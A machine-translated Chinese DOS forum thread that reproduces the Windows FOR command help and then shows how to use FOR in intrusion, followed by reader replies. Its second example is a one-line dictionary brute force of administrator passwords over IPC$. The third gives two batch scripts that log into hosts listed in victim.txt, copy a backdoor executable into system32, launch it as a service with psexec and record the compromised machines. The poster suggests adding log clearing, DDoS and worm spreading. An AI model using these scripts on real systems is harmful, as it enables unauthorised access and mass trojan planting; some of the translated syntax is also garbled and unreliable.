中国DOS联盟

The FOR command is a relatively complex command, mainly used to execute commands in a loop within a specified range of parameters.

When using the FOR command in a batch file, specify the variable using %%variable

for {%variable│%%variable} in (set) do command

%variable specifies a single - letter replaceable parameter.

(set) specifies one or a group of files. Wildcards can be used.

command specifies the command to be executed for each file.

command - parameters specify parameters or command line switches for a specific command.

When using the FOR command in a batch file, specify the variable using %%variable

and not %variable. Variable names are case - sensitive, so %i is different from %I

If command extensions are enabled, the following additional FOR command formats are supported:

FOR /D %variable IN (set) DO command

If wildcards are included in the set, it specifies to match directory names instead of file names.

FOR /R path] %variable IN (set) DO command

Check the directory tree rooted at path, and point to the FOR statement in each directory. If no directory is specified after /R, the current directory is used. If the set is only a single dot (.), enumerate the directory tree.

FOR /L %variable IN (start,step,end) DO command

This set represents a sequence of numbers from start to end in increments.

Therefore, (1,1,5) will generate the sequence 1 2 3 4 5, and (5,-1,1) will generate the sequence (5 4 3 2 1).

FOR /F %variable IN (file - set) DO command

FOR /F %variable IN ("string") DO command

FOR /F %variable IN ('command') DO command

Or, if the usebackq option is present:

FOR /F %variable IN (file - set) DO command

FOR /F %variable IN ("string") DO command

FOR /F %variable IN ('command') DO command

filenameset is one or more file names. Before continuing to the next file in filenameset, each file has been opened, read, and processed. Processing includes reading the file, dividing it into lines of text, and then parsing each line into zero or more symbols. Then the For loop is called with the found symbol string variable value. By default, /F separates through the first blank symbol in each line of each file. Blank lines are skipped. You can substitute the default parsing operation by specifying the optional "options" parameter. This quoted string includes one or more keywords specifying different parsing options. These keywords are:

eol = c - refers to the end of a line comment character (just one)

skip = n - refers to the number of lines to be ignored at the beginning of the file.

delims = xxx - refers to the delimiter set. This replaces the default delimiter set of spaces and tabs.

tokens = x,y,m - n - refers to which symbols of each line are passed to the for itself in each iteration. This results in the format of additional variable names as a range. By specifying the last character asterisk in the m symbol string through the nth symbol, the additional variable will be assigned and accept the remaining text of the line after the last symbol is parsed.

usebackq - specifies that the new syntax has been used in the following cases:

When executing a back - quoted string as a command and the quote character is a literal string command and allows double quotes to enclose file names in fi.

sample1:

FOR /F "eol =; tokens = 2,3* delims =, " %i in (myfile.txt) do command will analyze each line in myfile.txt, ignore those lines starting with a semicolon, and pass the second and third symbols in each line to the for program body; delimited by commas and/or spaces. Please note that the statement of this for program body refers to %i to get the second symbol, refers to %j to get the third symbol, and refers to %k to get all remaining symbols after the third symbol. For file names with spaces, you need to enclose the file name in double quotes. To use double quotes in this way, you also need to use the usebackq option, otherwise, the double quotes will be understood as being used to define a string to be analyzed.

%i is specifically explained in the for statement, and %j and %k are specifically explained through the tokens = option. You can specify up to 26 symbols in one line through tokens =, as long as you do not try to explain a variable higher than the letter 'z' or 'Z'. Remember that FOR variables are single - letter, case - sensitive, and global;

Also, no more than 52 are in use at the same time.

You can also use the FOR /F analysis logic on adjacent strings; the method is to enclose the filenameset between parentheses with single quotes. In this way, the string will be treated as a single input line in a file.

Finally, you can use the FOR /F command to analyze the output of a command. The method is to turn the filenameset between parentheses into a back - quoted string. This string will be treated as a command line, passed to a sub CMD.EXE, and its output will be captured into memory and treated as a file for analysis. Therefore, the following example:

FOR /F "usebackq delims ==" %i IN (`set`) DO @echo %i

will enumerate the environment variable names in the current environment.

In addition, the replacement of FOR variable references has been enhanced. You can now use the following option syntax:

~I - removes any quotes ("), expands %I

%~fI - expands %I to a fully qualified path name

%~dI - expands %I to only a drive letter

%~pI - expands %I to only a path

%~nI - expands %I to only a file name

%~xI - expands %I to only a file extension

%~sI - the expanded path only contains short names

%~aI - expands %I to the file attributes of the file

%~tI - expands %I to the date/time of the file

%~zI - expands %I to the size of the file

%~$PATH:I - searches for directories listed in the path environment variable and expands %I to the first fully qualified name found. If the environment variable is not defined or the file is not found, this combination key will expand to an empty string. Multiple results can be obtained by combining modifiers:

%~dpI - expands %I to only a drive letter and path

%~nxI - expands %I to only a file name and extension

%~fsI - expands %I to a full path name with a short name only

%~dp$PATH:i - searches for directories listed in the path environment variable and expands %I to the first drive letter and path found.

%~ftzaI - expands %I to a DIR - like output line

In the above examples, %I and PATH can be replaced with other valid values. The %~ syntax ends with a valid FOR variable name. Choosing an uppercase variable name like %I is easy to read and avoids confusion with case - insensitive combination keys.

The above is the official MS help. Next, we give a few examples to specifically illustrate the use of the For command in intrusion.

sample2:

Use the For command to achieve brute - force password cracking on a target Win2k host.

We use net use \\ip\ipc$ "password" /u:"administrator" to try to connect with the target host, and record the password when successful.

The main command is a single line: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"

Use i% to represent the password of admin, and take the value of i% in dict.txt to connect with the net use command. Then pass the running result of the program to the find command - -

for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>D:\ok.txt, and then it is ok.

sample3:

Have you ever had a large number of zombie computers waiting for you to plant backdoors + trojans? When the number is particularly large, what was originally a very happy thing will become very depressed:). The article mentioned at the beginning that using batch files can simplify daily or repetitive tasks. So how to achieve it? Hehe, you will understand when you read on.

There is also only one main command: (when using the FOR command in a batch file, specify the variable using %%variable)

@for /f "tokens = 1,2,3 delims = " %%i in (victim.txt) do start call door.bat %%i %%j %%k

The usage of tokens is shown in sample1 above. Here it means to pass the content in victim.txt to the parameters %i %j %k in door.bat in sequence.

And cultivate.bat is nothing more than using the net use command to establish an IPC$ connection, and copy the trojan + backdoor to the victim, then use the return code (If errorlever =) to screen the host where the backdoor is successfully planted, and echo it out, or echo it to a specified file.

delims = means that the content in vivtim.txt is separated by a space. I think you must understand what the content in this victim.txt is like when you see here. It should be arranged according to the objects represented by %%i %%j %%k. Generally, it is ip password username.

Code outline:

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

@echo off

@if "%1"=="" goto usage

@for /f "tokens = 1,2,3 delims = " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double - click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

@net use \\%1\ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection ............OK

@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

@psexec \\%1 c:\winnt\system32\windrv32.exe

@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

This is just a prototype of an automatic backdoor planting batch. The two batch files and the backdoor program (Windrv32.exe) and PSexec.exe need to be placed in the same directory. The batch file content can be expanded. For example: add functions like clearing logs + DDOS, adding users regularly, and more deeply, it can have automatic propagation functions (worms). No more details are given here. Friends who are interested can study by themselves.

If you are interested in the FOR command, you can enter the following in the CMD mode:

FOR /? >C:\for.txt

Then you can see the introduction of FOR command parameters in the for.txt file in the C drive.

Got it, learned something, bookmarking it

That's really great. Gotta learn FOR well.

I'm a new user.
After reading, I feel it's pretty good.
A great post.
Let's push it up.

Really thank the LZ (LZ here refers to the original poster) so much.... really great

First, go and read http://www.cn-dos.net/forum/viewthread.php?tid=19331 this post.
Then it will be much easier to understand when you come back. I just barged in and almost got frustrated,
Learning in progress

It's too difficult, and I don't understand a little bit.

Really thank the original poster.... Very good...

for /f is still not very clear...

Still a bit confused.